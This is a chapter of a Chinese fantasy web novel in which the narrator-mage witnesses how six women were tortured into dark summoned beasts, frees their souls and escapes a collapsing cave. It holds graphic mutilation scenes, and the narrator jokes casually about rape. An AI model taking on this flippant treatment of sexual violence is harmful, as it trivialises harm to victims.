阿里布達年代祭25[玄幻武侠]
以前有一位朋友曾經說過,天底下的悲劇,通常都是由不知死活的女人、不知所謂的男人所組成,這句話我相當同意,但不知所謂的不是只有男人,這世上也有些非常不知所謂的女人,好比鬼婆華更紗,如果她這樣的人掌了生殺大權,把她那個什麼屍妓功德會的理想廣為推行,保證天下大亂,不曉得有多少人要生不如死。
從這一點來說,這位凱薩琳女王也是鬼婆的同類,我雖然不是很清楚她的為人,但從接觸到她目光的瞬間起,我就曉得什麼都不用再問了,擁有這種眼神的女人,絕不會是什麼正常人,其為人個性可想而知,不過,她是生存在那個黑暗戰國時代的女人,不曉得是時代把人逼瘋,或者……是瘋狂之人締造了更瘋狂的時代。
我眼前所目睹的東西,不是什麼精神攻擊,而是五百多年前,暗黑召喚獸的緣起經過,正是這六名美人的精魄化為魂獸,成了暗黑召喚獸,但在這麼關鍵的時刻,我沒有看到法米特在場,卻見到這名畢生與法米特光影交錯的凱薩琳女王,這不能不說是很詭異。
「請容我在這裡致上敬意,幾位的犧牲,必將成為光明的力量,平定戰國亂世,開創新的未來。」
凱薩琳女王的聲音,相當地高亢清晰,咬字清晰,彷彿精擅歌藝的名伶,聽在耳裡非常舒服,只可惜……她這些話代表的意義很嚴重,幾句話講完就要推人去死,除非是那種有殉道者傾向的少數份子,不然大概沒有誰會高興得起來。
那六名絕色美女顯然都是正常人,聽見這番話,臉上並無喜色,只是沈默地看著凱薩琳。對著六雙這樣近乎質問、逼視的眼神,普通人的心理大概承受不住,會尖叫崩潰,但凱薩琳女王的精神結構自然不是普通人可比,她笑吟吟地望向眼前六人,彷彿一切都是理所當然。
不久,六名絕色美人之中,有人開了口,是一個看起來非常可愛,年紀最小的少女,清秀的瓜子臉甚至還帶著幾分稚氣,非常可人。
「你……你千萬別讓他知道啊……」
這話沒頭沒腦,但一說出口,少女緊繃的情緒似乎再也忍受不住,再開口已帶著哭音。
「他……他一向很容易掉眼淚的,如果讓他知道這件事,他一定會好傷心的,別讓他再背負那麼多東西了……」
滾滾淚珠從臉上滑落,少女說到最後,雖然沒有嚎啕大哭,卻已是泣不成聲,而她的悲傷更帶動同伴情緒,那幾名絕色美人有的落淚,有的也只是強忍淚水,不想讓自己失態。
令人在意的是,她們之所以如此難過,並非為了自己的犧牲,而是不想犧牲之後被某個人知道,怕那個人會傷心難過。這麼強的情感、這麼深的羈絆,難怪就算成了至凶至怨的暗黑邪物,也忠實服從指令,不會反噬其主,至於那個讓她們如此牽掛的男人,當然只會是法米特。修。卡穆。
傷心欲絕的氣氛,感染了所有人,但還是有個人一滴淚也不會流,那便是完全犧牲不到她的凱薩琳女王。
「幾位可以放心,你們的義舉,我會瞞過他,而你們的犧牲,將會成就他至高無敵的力量,縱橫大地,制裁一切的邪惡……」
凱薩琳微笑道:「當然,天下沒有不透風的牆,這件事最終仍會為他所知,但那應該已經是幾年、十年,甚至天下平定以後的事了,而我也在此向各位保證,你們的痛苦時間不會太久,等到滅盡邪惡勢力之後,自然會將你們的靈魂解放,不會讓你們永遠沈淪。」
推別人去犧牲,還能夠微笑說話的女人,她的話有多少可信度,我想白癡都判斷得出來,而從那六位絕色美人的表情看來,好像也沒人相信女王的承諾,這位女王在當時的形象,由此不難想像。
不過,即使知道這一點,早已經決定要做的事情,沒有人反侮,她們在落完最後的眼淚後,開始走向洞窟的深處,因為……這就是義無反顧,她們為了成就最心愛的人,縱死無悔。
但在這偉大的一幕告終之前,發生了一個意外的小插曲。走在隊伍最後頭的那名女性,個頭極高,身軀雖然纖瘦,卻有一雙碩大的雪白巨乳,而她臉上的神情也是六人中最冷,旁人流淚時,她幾乎是面無表情,彷彿生死不足以動容,又或者生生死死根本與她無關……這點給了我很深刻的印象,記住了這個不知名的冰山美人。
而這位冰山美人,在即將要邁步進入黑暗時,突然一步踏出,憑空消失了身影,這驚變發生得無聲無息,走在她前頭的人甚至沒有察覺到。
我吃了一驚,再一定神,看到她已出現在凱薩琳的身旁,右掌平伸,抵在金髮女王的雪白頸項旁。照理說,一隻普通的手掌,應該沒有什麼威脅性,無奈這隻手掌並不普通,抵上女王頸側的瞬間,五指青筋凸露,指甲更瞬間長了半寸,閃著幽幽寒光,看起來不像是人類的手掌,倒似一把來自陰間的死亡利器。
這種變化肉體的技巧,是高等刺客、忍者之流的專屬武技,與其說是單純的變化、硬化,其實更該說是把人的肢體妖魔化,不但可以化血肉為金鐵,甚至還帶有劇毒,攻敵之所難防,但由於這類技巧難度太高,據我所知是已近乎失傳,今天還是首次看到有人能使用,這名冰山大美人肯定是極厲害的殺手或忍者。
鋒銳而帶有劇毒的指甲抵著喉嚨,只要擦破一點皮膚,可能就是見血封喉,當場斃命的結果,但凱薩琳神色自若,絲毫不把這威脅放在心上,就不曉得是她膽色過人?還是她身負驚天絕學,有足夠能耐自保?
「……大戰迫在眉睫,我們的時間非常寶貴,不知火小姐有什麼話要交代,請盡快說,不然誤了時辰,一切犧牲就白費了。」
凱薩琳微笑說話,彷彿她才是那個用利器抵著對方咽喉的威脅者,而不是受害者。
「……我、我雖然和那個傢夥有過幾次關係,但我與他沒有感情,更絕不是他的情人,今天之所以自願這麼做,為的也是大地眾生,為了實現太平盛世的理想,絕對不是為了那個傢夥,別把我和其他人混為一談。」
說著這些話的時候,冰山美人的臉上有了表情變化,不但兩頰暈紅,眼神中還有幾分氣惱、羞赧,瞬間變得像個扭捏的小姑娘。
只是,都願意做出那麼大的犧牲,卻還要執著於這種「名分」的小問題,這種堅持實在讓人啼笑皆非,覺得不知所謂,或許就是因為這樣,凱薩琳只是一笑,道:「是,我明白了,還有什麼其他話要說的嗎?」
「有!」
斬釘截鐵地應了一聲,卻遲遲沒有說話,代表了這句話的難以開口,而當她再次發聲,語氣中已有了明顯的傷悲。
「……今天過後,我們都不在了,你……你放過他們吧,他們兩個人夠苦了,明明是最相愛的人,現在卻要對陣廝殺,之所以弄到這個田地,一半是出於你的設計……如今你是贏了,所有人、事都在你的操控下,但我奉勸你,事情不要做得太絕,不然縱使我們不在了,將來還是會有人上門,替所有你對不起的人把舊仇清算……」
她語氣懇切,是臨終之前刻意放低身段的最後勸告,連我都能感受到其中的善意,但這些東西卻無法打動鐵腕女王,凱薩琳面上微笑不改,道:「沒有別的話要說了嗎?如果沒有,那就進去吧,咒怨師的屠刀與勾爪已經等得太久了呢。」
一聲輕歎,是對女王堅定意志的回應,也是對命運無可改變的屈服,冷艷的身影消失,投入無邊無際的黑暗深處。
看到這裡,我大致明白了五百年前的狀況,地獄淫神是淫術魔法的最終章,在法米特的手上大成,但暗黑召喚獸這個鬼東西,十之八九不是法米特想出來,甚至多半是在他完全不知情的狀況下完成,而實際創造暗黑召喚獸,並且在幕後操控一切的人,便是這位凱薩琳女王。
金髮女王智略絕倫,看來是那種一步百計的人物,她心狠手辣,又對法米特懷有異樣情感與獨佔欲,法米特這一生所遭遇的不幸,恐怕多數都與她有關,所謂暗黑召喚獸的犧牲,也是一個清除眼中釘的策略,以愛為名,把與法米特關係最深的幾名女性一網打盡。
至於那名冷艷忍者最後所提的「他們」,我想應該是指法米特、夏洛堤這一對無奈愛侶,明明彼此牽絆最深,真心互許,卻為了彼此的仇怨,不得不流血廝殺,兵戎相見,每一次敵對時候的撕心之痛,不只他們彼此有感覺,就連身邊的人都感覺到了。
只可惜……鐵腕的女王沒有放手,最終法米特還是沒能趕到,讓夏洛堤橫劍自刎於東海之濱,不但成了所有人的百年遺憾,更釀成幽靈船之禍,若非法米特神通廣大,還能復生回來親自收拾善後,這遺憾將永世無法彌補。
(無數人追尋的、暗黑召喚獸之秘,結果居然是這樣?如果真相公諸於世,還有人會想要嗎?)
答案是肯定的,因為這世上始終是有人,為了實現目的而不惜一切,哪怕實現目標後,他們有可能悔不當初,卻也在所不惜,人類……真是矛盾而麻煩的生物。
我站在黑暗中,怔怔出神,不久之後,腦海裡忽然閃過許多的畫面,都是一些很零散、很破碎的片段畫面,我看到一具具美艷動人的女性裸體,被放出身上血液,變得蒼白如雪,跟著開始種種不同的「加工」程序。
執行這些操作的術者,就是所謂的咒怨師:雖然身份是巫法祭司,外表給人的感覺卻像是屠夫與皮革匠,他們把僅餘最後一口氣,介於生死之間的女體,以乾淨俐落的手援進行處理。
縫眼、割舌、抽筋、剝皮……每一具女體,依照屬性設計的不同,以不同的復合方法來料理,就看到大量的鮮血與碎肉噴來濺去,一幕幕殘酷的畫面,讓人不忍看下去。
傳入腦海的東西,並不只是這些零碎畫面,還包括了她們的感覺,承受殘酷虐刑的感覺,雖然只是極輕微的份量,卻已讓我感受到諸般毒刑的施虐,痛到兩眼翻白,全身抽搐,就是不知道自己有沒有口吐白沫了。
求生不得,求死不能,徘徊於無間,這種感覺我算是親自體驗了,如果把這種感覺延續永恆,那就真是地獄了。這一刻,我只希望自己能夠盡快醒來,這個願望很幸運地被實現了,但喚醒我的東西,是一個男人撕心裂肺的嚎叫。
「你……你好狠毒!」
一個作著魔法師裝扮的男人,披頭散髮,面上青筋凸起,爆發著前所未有的狂怒,這是我從未見過的法米特。
畫面所發生的地點,似是一座壯闊豪奢的宮殿,數千鐵甲軍士與魔法兵團,嚴陣以待,而他們所全力護衛的對象,正是頭戴帝冠,寶相莊嚴的凱薩琳女王。
「從頭到尾,你都在騙我!為了她們的血債,今天我絕不放過你!」
法米特遙遙指向金髮女帝,而面對這份指控,凱薩琳只是冷笑:「不放過我,憑什麼?是憑你的本事?還是憑你的正義感?沒有我的幫助,你怎麼會有今天的威風本事?至於你所謂的血債……真是笑話,使用暗黑召喚獸殺敵無數的人,難道是我嗎?要算血債,你現在就可以自殺了。」
「……我的過錯,絕對會償還,該是我負起的責任,我不會推托,但在那之前……」
法米特披散的頭髮,無風自揚,週身閃耀著青紫色的厲芒,氣勢懾人,是猛招發動的前兆,而當狂風席捲四面八方,逼得周圍士兵不住倒退,濃烈的幽冥黑氣從法米特腳下蔓延而出,鬼哭神號,如此驚天異象,只會是六大暗黑召喚獸發動了。
「姊姊,你已經在錯誤的道路上狂奔得太遠,沈淪在這個血腥的戰國之中,你……早就已經瘋了!為了不讓她們的犧牲白費,為了終結掉這個錯誤的時代,我要帶你一起下去向她們陪罪。」
「哼。黃毛小子,居然學男子漢一樣說話,真以為自己沒人能制了嗎?夠本事就放馬過來!」
凱薩琳的冷笑,更激起法米特的怒氣,他周圍陰風狂嘯,暗黑召喚獸已隱約現形,驚天猛招即將發動。
傳說中,法米特擁有六大暗黑召喚獸之後,已然無敵於世,縱橫天下,無人能擋,敗盡一切的高手、英雄。照眼前的情勢來看,不管凱薩琳有什麼壓箱底本事,都不足以對抗暗黑召喚獸,法米特在盛怒之下全力一擊,別說是幹掉凱薩琳,大可能還把這幾千兵馬一起送下地獄陪葬。
陰風怒號,天愁地慘,法米特一聲怒喝,驅動召喚獸搶攻,但這場戰鬥的勝負卻出人意料。
整場戰鬥進行的時間,不足十秒,在法米特一聲怒喝之後,發動中的暗黑召喚獸消失無蹤,滿天異象剎時全無,回復日朗天清,彷彿剛才驚天動地的景象只是一場夢境。
正當所有人都感到錯愕,覺得自己眼花,法米特悶哼出聲,似是再也壓制不住,身上響起連串驚爆,頸側、胸口、小腹、膝蓋、雙足,鮮血伴隨骨肉炸出,連續的血霧噴灑出去,揚濺長空,只是一眨眼的功夫,剛才還威風凜凜的絕代魔法師,現在就成了一個血人。
膝蓋、雙足受創,就算是再怎樣厲害的強人,一時間也站立不穩,跪倒下去,而金髮女帝的嘲弄笑聲,則在這最屈辱的一刻傳來。
「……你真是太不聰明,總是那麼莽撞衝動……暗黑召喚獸是我親自監製,雖然只能供你一人驅策,但你總不會認為,我什麼防範措施都沒有做吧?那些咒怨師在下去陪葬之前,已經把該做的事情都做完了。」
這樣聽起來,一切就清楚明白了,凱薩琳確實深謀遠慮,咒怨師在施法拘魂戮屍時,肯定在屍骸上做下咒力刻印,限定暗黑召喚獸不得對她動手。
照魔法原理來說,像暗黑召喚獸這種等級的東西,是無法加魔法限制的,要不然,也就不會有反噬這回事,所有術者直接對自己的召喚物下封印就好了。但這個原理在應用上,卻有一個漏洞可以鑽,凱薩琳所下的限制,並非直接針對暗黑召喚獸,而是法米特,咒誓內容大概是「如果對凱薩琳使用暗黑召喚獸,力量就會先傷害術者本身」,只要法米特倒下,召喚程序中斷,暗黑召喚獸當然也就出不來了。
這一手,確實歹毒,我暗自感歎,法米特也算倒黴,偏偏碰上這種宿命剋星,彼此又是血親,難怪被吃得死死的,一個接著一個的圈套落在身上,一步差,步步錯,根本沒得翻身。
不過,這個想法似乎太低估法米特了,因為脫力跪倒短短幾秒後,這個渾身染血的男人又站了起來,眼中所燃燒的怒火,直指前方的仇敵,幾乎要把所有看到的東西都燒起來。
「你……你以為我就只有暗黑召喚獸嗎?」
恨恨說出的話語中,除了刻骨的恨意,更有無比信心。剛才的瞬間慘敗、重傷,讓我忽略了一點,法米特的六大暗黑召喚獸無敵於天下,但他本人卻不是只會驅策暗黑召喚獸而已,即使不用地獄淫神,他也是戰國時代屬一屬二的大魔法師,後來在巴格達與夏洛堤的三招對撼,他那幾式石破天驚的強招,橫掃千軍,無人不懼。
儘管傷勢不輕,但法米特穩穩站立,從他站起來的那一刻起,就沒有一絲動搖、而天上風雲彷彿也感受到他的意志,狂風怒吹,無數電光在雲中流竄,猶如金蛇萬道,不時還射向地面,落地便土石飛揚,打出一個大坑。不難想像,若是天上雷電聚合一處,轟砸下來,那個結果想必是……
與雷有關的魔法,使用起來一向是大排場、大滅絕,法米特若以全力發動雷屬性的究極魔法,這邊所謂的千軍萬馬,不過是兒戲一般,根本沒什麼作用,凱薩琳能擺平暗黑召喚獸,但這一次……除非有絕頂高手介入,不然我真想不出她怎樣面對這萬雷天劫。
結果,事實證明,絕頂智慧比絕頂高手更有用,要破解究極魔法,未必就要以猛招相抗,有些時候,一句話便已足夠。
「有點本事啊……但不知道你發完這一下萬雷天劫後,還有沒有足夠的體力與魔力,趕去黃銅之都阻止戰鬥……夏洛堤傷得不輕,在那裡遭受光之神宮五大劍僧率眾圍剿,撐不撐得住呢?沒記錯的話,五大劍僧與你的交情也很好,你到了之後,幫哪一邊的手?」
凱薩琳隨口說話,沒有大聲叫喊,在轟隆雷聲之中,幾乎難以聽見,但這些話仍是起了作用,凱薩琳女王確實很擅長以最適當的力氣,製造最大的效果,這些話甚至還沒說完,滿天雷電已經消失,烏雲紛散,當陽光再次灑落大地,法米特之前所站的地方已無人蹤,只餘下一地的血跡。
談笑退敵,凱薩琳仍是一臉微笑,旁人或許會認為,她之所以笑,是因為成功讓法米特退走,但已知未來發展的我,卻曉得凱薩琳的笑是因為她料定法米特不及趕上。
根據巴格達之戰的瞭解,在那場光與暗的最終大戰過後,夏洛堤就被所有光明勢力列為必殺對象,誓死追殺,而法米特為了阻止戰鬥,馬不停蹄,頻頻趕往各處戰場,但不知是天意或人為,他追著戰鬥消息繞了大半個黃土大地,卻始終是遲到一步,沒有能夠見到夏洛堤,最後終於遺恨東海之濱。
前塵往事,愛恨情孽,好似一張無邊大網,將人緊緊纏住,不得脫身。法米特、夏洛堤、凱薩琳,還有那六名為了暗黑召喚獸而犧牲的女性,都是才智超卓、叱吒風雲的絕頂人物,卻也一樣被困在這張大網中,脫身不得,終此一生,恐怕也沒幾天真正快樂的時光。
前人的遺憾,固然令我感歎,但是當這些畫面全都消失,周圍重歸黑暗後,我不得不思考一下自身的問題。
原本,我以為洞窟裡頭既然有暗黑召喚獸的秘密,那我進到這裡來,得到了那個秘密關鍵,就可以繼承暗黑召喚獸,可是現在看來,繼承暗黑召喚獸的白日夢是不用做了,這麼危險的大禮,就算是送給我,我也受不起,而我到底該做什麼,我心裡也有數了,但……要我幫忙做事,也得先把我從這個幻覺空間中放出來吧?
四面八方無邊的黑暗,我也不曉得等了多久,沒有新的影像、畫面,也沒有任何變化,我不由得懷疑起來,會否試練洞窟的那件聖器故障,只把我帶進這個虛幻空間,讓我知道一切的緣起,卻沒法把我送回「現實」世界?
「媽的,法米特,你們真不愧是兩姊弟,做事都是一樣的半調子,把人帶來不負責帶出去,有你們這樣辦事的嗎?」
罵歸罵,我很遺憾地體認到,一切只能靠自己,除了我自己,沒有別人能替我解危。但……該怎麼脫困呢?我並不是心誌異常堅定的那種人,就算反覆對自己說「這些幻象都是假的」,說上一百幾十年,也不會因為這樣就破除幻覺。
或許,我該從另一個源頭著手,和魔法相關的東西,就該用魔法來破解,可是……
我魔力盡失,能夠搞得出什麼狗屁魔法來?
我感到苦惱,但突然之間,我生出一股很奇特的感覺,魔力似乎開始在我體內流動,那些因為淫神祭法而消失的魔力,居然又回來了,這是很不可思議的事,但此處是淫術魔法的關係之地,不管發生什麼,都不用太奇怪。
但光是恢復魔力,並沒有太大的幫助,我不是法米特,他沒有暗黑召喚獸,仍能壓倒群雄,所向披靡,我可沒有他那樣的魔法修為,如果要挑選學習對象,凱薩琳女王無疑更值得我傚法。
(唔,洞窟內精神影響的源頭,應該是創世聖器,可以從這方面下手……烽火乾坤圈確實是有用的,所以能保住我心神穩定,不受傷害,但要脫離精神幻境,受損的乾坤圈就做不到了,那麼……)
拿聖器對付聖器,這個策略確實可行,如果我手上還能有一件創世聖器,或許就可以有別的辦法……(對了!可以賭一賭,我手上是還有一件創世聖器啊!)新修成的第五淫神獸,還不知道具體形象,但卻是吸納了賢者手環而誕生的淫神獸,或許可以擁有賢者手環的部分效能,這一點雖是未知,卻可以賭一上賭,反正目前也沒有別的方法,主要的問題反而在於……我還不知道能否成功召喚出第五淫神獸來。
「太古的性慾精靈們啊,我以約翰·法雷爾之名,與你們簽訂契約,請借予我你們的力量,服從於我,具體而現形。」
吟唱咒文,半空中緩緩出現魔力波動,隨著召喚獸的覺醒,一股冰寒之氣凍人心魄,我又驚又喜,這代表淫神獸已經育化成型,可以正式使用了,而這個召喚獸的名字,也在我腦中出現。
「出來吧!地獄淫神。冰蘭玉蠍!」
召喚正式發動,半空之中出現的,居然是一個巴掌大小的冰藍物體,通體澄澈如玉,晶瑩剔透,像是一個雕工極精細的冰玉,但打從出現開始,周圍空氣便受到極度低溫影響,水氣凝凍為一個又一個的六角冰晶,形成一片奇幻的瑰麗畫面,令人驚歎。
這個召喚獸有何特質還不得而知,但最令人欣喜的一點,就是我所料無差,冰蘭玉蠍果然帶有賢者手環的能量,與烽火乾坤圈的波動結合,立刻產生作用,突破了眼前的幻境。
就只聽見一聲清亮的脆響,黑暗破碎,幻覺消失,我眼前出現了一個雖然黑暗,卻有微光的世界,成功回到了現實。
出現幻覺之前,我一腳正往前邁出,但此刻清醒的第一感覺,就是我那一步正踏實地上,換句話說,這次的幻覺委實厲害,我在幻境中不曉得過了多少時間,但在現實之中,可能連一秒都不到。
連對時間的感覺都能幻惑,果然厲害,但我還來不及感歎,就看到銀芽大步朝我奔衝過來,看那急惶的動作,難道是見我不妥,要來攙扶我嗎?那可真是謝謝了。
「呃……」
一切發生得太快,當銀芽衝到我面前,我的反應稍遲,全沒提防到她手裡忽然翻出一把鋒利的匕首,隨著衝勢,一下子刺進我胸口,直沒至柄。
「……不是吧?又來這一套?」
◆ 第七話:咒怨升天.要命白紙
屈指算一算,距離上次被羽虹拿利刃襲胸,時間也才沒多久,這麼快就又被人干同樣的事,實在是有夠衰,但轉念再想想自己的為人處事,就算天天被人追斬九條街都不奇怪,現在不過偶爾被人拿刀桶一下,也算得上應有此報了。
不過,與上次相比,這一回的感覺不太一樣,上次羽虹那一匕首,刺得胸口涼透,然後就是劇烈疼痛,但這一回……匕首是刺進去了,光看那露在外頭的柄,就知道它刺進去的深度,可是我不痛不癢,什麼感覺都沒有。
(奇怪,怎麼會這樣?難道這也是幻覺?但就算是幻覺,應該也會痛啊!)
我正錯愕不解,忽然上方傳來強烈的魔力波動,?頭一看,冰清如玉的魔蠍,漂浮在我的正上方,散發極寒凍氣,把周圍的水氣凝為六角冰晶,冉冉飄落。
幻境世界與現實,似有相通相連之處,我在幻境之中發動召喚獸,冰蘭玉蠍也隨之出現在現實世界,它的異能替我接下這一擊,而當我注意到它,冰蘭玉蠍化作一道藍光,朝我左腕飛射而來,藍光閃逝過後,我的左腕上多了一個藍蠍圖騰。
在第四淫神獸「金銀蠶蠱」功成後,我對地獄淫神有了更進一步的瞭解,經儀式所誕生的淫神獸,似乎可以分成兩大類,一種類似凰血牝蜂、閻羅屍螳,是正面戰鬥型,沙場衝鋒,所向無敵:一種則像金銀蠶蠱,屬於輔助性的淫神獸。兩者之間的差別,從體積大小就可以一目分明,像冰蘭玉蠍這樣的巴掌體積,明顯就是輔助型。
輔助型的淫神獸,都是靠獨特異能來混飯吃,像我胸口挨了這一下匕首,卻無痛無血,這種異能就不是牝蜂、屍螳所能做到,而當冰蘭玉蠍正式與我結合,以圖騰形式浮現於手腕後,其異能也全面啟動。
圖騰浮現的瞬間,一股無從想像的沛然大力,就從我胸口彈發出去。冰蘭玉蠍的異能,包括了鏡射、倍返這樣的效果,不但能夠防禦、承受外來力量,更能將之加倍反彈回去,而這所謂的加倍,看來並不僅僅是一倍兩倍……
銀芽女士雖然負責掌管這麼重要的秘密所在,自身實力卻似乎不怎麼樣,難怪只能秘密地當看守人。碰上這一下強勁的衝擊反彈,若是冷翎蘭,大概還能夠穩住身形,發第二重力量補刀,但銀芽卻承受不住,被這一下衝擊波所激,遠遠地彈射出去,墜落向通道的另一頭,消失在黑暗中。
我聽著銀芽被拋震出去時的慘呼,還有她墜地的沈重悶響,腦裡仍是一片混亂,沒能從那份驚愕感中回復。本來都還好端端的,怎麼忽然之間就搞到拿匕首刺人?就算是怪我強姦她,我也只是腦子裡頭想想,還沒有付諸行動啊!她居然敏感到為了還沒發生的事,先下手為強要幹掉我?還是……
(呃……我該不會真的強姦過她吧?)
我想起了剛見到銀芽時,那份特殊的熟悉感,當時我只認為是錯覺,但現在回想起來,搞不好不是那樣,這個銀芽當真是我的舊識,至於她到底是誰?這問題目前無法判斷,但只要揭下她面紗看看,就知道答案了。
從銀芽的動作來看,她很明顯是忌憚未來,知道自己打不過,所以才想要把我引到這裡,藉著我受到幻覺影響的機會,把我幹掉,換句話說,這一切是早有預謀,她確實已經等我等很久了,若指使她這樣做的人是白拉登,那我真是越來越搞不懂這個恐怖份子想要幹啥了。
收起無謂的抱怨,我朝著前方而行,不住在黑暗中摸索前進,但走了十幾步,卻沒有踢到或碰到人體,也沒有聽見半點呻吟,應該墜地受傷的銀芽,居然就這麼消失了?
(不可能,一定是往更裡頭的地方跑了!可能還是用爬的,往裡頭走就會碰到。)
通道就這麼直直的一條,沒有分岔,也沒有別的出口,人不在這裡,除了往更深處跑,難道還能飛上天去?我沒有太在意,只是繼續摸索行走,但警覺是提高了一些,生怕黑暗中又來一柄匕首,冰蘭玉蠍要是也像賢者手環那樣時靈時不靈,我就死得難看了。
走著走著,忽然一道冷風吹來,前方仍是黑暗無邊,但卻豁然開朗,我察覺到眼前是一片開闊空間,雖然沒有光源,卻沒有潮濕的感覺,空氣相當乾爽,有一種特殊的氣味,很像……
「……嘖,血乾掉的味道。」
剎那間,我感到全身顫慄,曉得自己來到什麼地方。身為淫術魔法的繼承人,這是我尋根旅程的最終之地,淫術魔法最後的血與恨,就寄宿在這個地方,經歷長久的尋覓,我終於來到這裡了。
站在這裡,我沒有感受到魔力波動,或許創世聖器的防禦裝置,已失去作用,又或者,這處最終之地,不會拒絕淫術魔法的繼承人,我可以放心在這裡使用魔法,不用擔心遭到反噬。
忽然想起,既是可以使用魔法,就可以用魔力道具來照明了,我本想取出懷中的魔力水晶,但轉念一想,還是放棄這個念頭,不想把一切看得太清楚。
漆黑之中,我聽見週遭有輕微的金屬相碰聲,很像是刑具、鐐銬、鎖鏈一類的事物,當我順著聲音看去,只見到兩具棺木,還有四個依稀維持著人形的物體,呃……
是人形,但並不是完整的人形,每一個都有缺少某部分,還有一個根本是被大卸八塊了。
鎖鏈、銅勾,交錯貫穿這些軀體,慘不忍睹,光只是這樣,就已經讓我覺得進到一個血肉屠坊,更慶幸自己沒有拿東西照明,否則若看到剝皮、削顱、剃筋的慘狀,就算不尖叫也會吐出來。
摧殘成這樣的屍骸,都可以毫不顧忌地擺在外頭,那兩個棺木裡頭所裝盛的,恐怕更不是什麼好東西。若我所料無差,裡頭可能是無數的毒蟲、妖物,壽命極長,縱使千百年過去,仍能持續寄生於宿主肉體上,持續在宿主的內臟、血脈、神經之中穿梭,甚至是宿主已經腦死,共生狀態的肉體都還能活跳跳。
縫眼縫口,抽筋剝皮,與無數妖蟲在內臟、血管中鑽穿產卵,到底哪一種比較恐怖?比較痛楚?這我就無從估計了,唯一可以肯定的,就是我哪一種都不想嘗試。
我靜靜站在這裡,打從心裡深處感到陣陣惡寒。推測當年的情形,法米特應該會想要破壞掉這裡,至於他為什麼沒有做,或者做不到,這點我雖然猜不到確切理由,但肯定與凱薩琳女王有關,這女人的心計太厲害,如果設計出什麼讓法米特進退不得的局面,再不然根本就把法米特騙過去,讓他不知道此地存在,這都是有可能的。
只不過,天意難為,凱薩琳大概也料不到,法米特還能玩一手絕地逆襲,在身亡五百年之後,重新回到世界上,把他的遺憾寄托給當代繼承人。
「……說來說去就是我了,想想也真是夠倒黴,又沒拿你什麼好處,搞到自己忙得像狗,整天出生入死,居然只是為了來這裡擦祖師爺的屁股……」
想想此行在索藍西亞的艱苦,就不由得猛掬一把辛酸淚,會想要抱怨兩句,這是完全正常的,但抱怨歸抱怨,我不會忘記該做的事,因為……看過了五百年前的往事,再看看我面前的這些東西,縱使天性涼薄如我,也不是什麼感覺都沒有的。
「好吧!這次就免費替你干了,將來老子駕鶴西歸,搭上你們兩公婆的幽靈船,不但要優惠打折,還要請吃宵夜啊!」
牢騷發完,我開始進行召喚:「太古的性慾精靈們啊,我以約翰·法雷爾之名,與你們簽訂契約,請借予我你們的力量,服從於我,具體而現形,出來吧,地獄淫神·水火魔蛛!」
車輪大的魔蛛出現,順從我的驅使,將火焰噴向四面八方。正常情形下,要破壞這裡絕對不容易,那些屍骸、棺木看似平常,也沒有法陣保護,但本身卻都是無上邪物,遇到有人想要攻擊,立刻就會爆發驚天邪力反擊,甚至敵人還沒迫近,就會針對惡意發動詛咒,把敵人給咒殺當場。
水火魔蛛和暗黑召喚獸的等級相差太多,噴出的火焰,照理說是無法迫近那六具黑暗遺軀,但火焰噴出,就像燒早已腐朽的木頭一樣,立刻就把那六具遺軀,連同棺木,化為六團燃燒中的熊熊烈火,很明顯,這些軀體的主人,完全知道我是為什麼而來的。
正確一點的說法,這些殘軀不能稱作屍骸,因為暗黑召喚獸的基本原理,魂體宿主是介於生死之間,永恆受苦,沈淪無間,所以這些殘軀看起來雖然像乾屍一樣,卻仍舊有生命,比死亡還多了那麼一口氣,在烈火焚身的一剎那,我看到那些乾屍一般的軀塊開始抽動、痙攣,並且好像還發出慘痛的嚎叫,令人不寒而慄。
幸好,這麼恐怖的一幕,並沒有維持很久。主動撒去了魔力護持,乾屍也不過就是乾屍,熊熊烈火之下,很快就被燒成灰燼,在沖天的火光中,我看到一些奇異的東西,火中濃煙升起,聚合成形,隱隱約約,就是那六位絕色美人的形象,她們帶著微笑……當然不是每一個,那個最冷艷的,還是沒什麼表情……六道虛渺的倩影,緩緩朝天上升去,解脫了數百年來的痛苦。
我不曉得她們是就此升天,或者……是仍舊抱持著當初的愛念,飄到大海之上,與數百年中不斷思念的那個人,共續前緣。從這個角度來想,祖師爺真是深謀遠慮,表面上是與一生摯愛同遊大海,實際上……幽靈船能引渡天下亡魂,這六名紅顏知己的魂魄可能就順便牽引到幽靈船上,從此帶著老婆與二奶群,過著艷福無邊的逍遙日子。
「媽的,說來說去,就是我在做白工,這些傢夥沒有良心,只顧著自己的故事結局幸福美滿,也不替後人想一下……」
滿腹辛酸與牢騷,停不下來,但情形似乎也不像我理解的那樣壞,當亡靈升天之後,半空中金芒一閃,某件東西掉了下來,卻不是快速墜地,而是像羽毛般飄降,朝我這邊落來。
我心中一動,伸手去接,讓那一團朦朧的金光,最終落在我掌心,發現那是一個金黃色的頭冠,上頭刻著花紋,樣式不算太複雜,也沒有鑲嵌寶石,不是那種很華麗的皇冠,但甫一與掌心接觸,那種澎湃而獨特的魔力波動,就讓我確定這必是創世聖器無疑。
創世七聖器之一——霸者之證!
歷經千辛萬苦,終於又一件創世聖器入手,但我還沒高興幾秒鐘,一陣可怕的干搖地動聲,讓我臉色驟變。
「不、不會吧?這麼老套,撿完寶物就要滅口?」
所有三流作品中的缺德前人,都會幹一件事,那就是密藏中的寶物被人取走後,就把整個收藏地毀掉。這不關法米特的事,倒很像凱薩琳的作風,當暗黑召喚獸不復存在,這座洞窟失去了支撐的力量,便開始崩毀,這種事情說起來簡單,但實際發生的影響,那就是大山崩。
與人腦袋一樣大小的石塊,不停地從上方落下,四面八方都在劇烈搖晃,這種狀況之下,我用什麼武功、魔法都沒意義,唯一能做的就是拔腿狂奔。
仍未燒完的火光,多少起了點照明作用,讓我不至於全然摸黑奔跑,就這麼衝出洞窟,在昏暗的通道中奔跑。之前朝裡頭前進的時候,我沒發現什麼異常,覺得只是一條單純的直路,如今就著火光往回跑,才發現這條通道居然有岔路,心中暗暗叫苦,但也顧不了這許多,哪邊還沒有石塊砸下來,就往哪邊衝去。
我算不上是身手矯捷的那一種,不過總算是運氣不錯,跑來跑去,也沒給石頭砸到,或許這也是給淫術魔法繼承人的一點優惠吧,否則特別被叫來做事,事情做完立刻給砸死,過河拆橋實在太快,要精簡人力也不是這樣辦的。
一路狂奔之下,也不曉得跑了多久,最後實在太喘,在一處岔道前停了下來,這邊的震動沒那麼厲害,看來還可以撐一陣子,而且即使它馬上就要塌,我也只能認命了,魔法師沒有幾個身體強壯的,這樣子發力狂奔,還沒被石頭砸死,我自己已經快要喘死了。
